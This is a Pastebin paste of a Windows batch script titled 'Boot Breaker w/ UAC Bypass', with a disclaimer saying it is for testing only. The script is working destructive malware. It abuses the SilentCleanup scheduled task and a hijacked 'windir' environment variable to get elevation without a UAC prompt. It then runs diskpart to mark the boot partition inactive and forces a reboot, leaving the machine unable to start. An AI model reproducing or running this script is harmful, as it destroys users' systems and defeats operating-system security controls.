DaikiDaiki

Boot Breaker w/ UAC Bypass

Oct 24th, 2019
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.76 KB | None | 0 0
  1. @echo off
  2. rem NOTE: I am not legally responsible for anything you do with this program, this program was made for testing purposes ONLY!
  3. echo select disk=^0>C:\Users\Public\Diskpart.txt
  4. echo select partition=^1>>C:\Users\Public\Diskpart.txt
  5. echo inactive>>C:\Users\Public\Diskpart.txt
  6. echo Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "cmd /c start /min cmd /c diskpart /s C:\Users\Public\Diskpart.txt ^&^& shutdown /r /f /t 0 && ;#">C:\Users\Public\Powershell.ps1
  7. echo schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I ^| Out-Null>>C:\Users\Public\Powershell.ps1
  8. echo Remove-ItemProperty -Path "HKCU:\Environment" -Name "windir">>C:\Users\Public\Powershell.ps1
  9. start /min powershell -ep bypass -w h C:\Users\Public\Powershell.ps1
Advertisement
Add Comment
Please, Sign In to add comment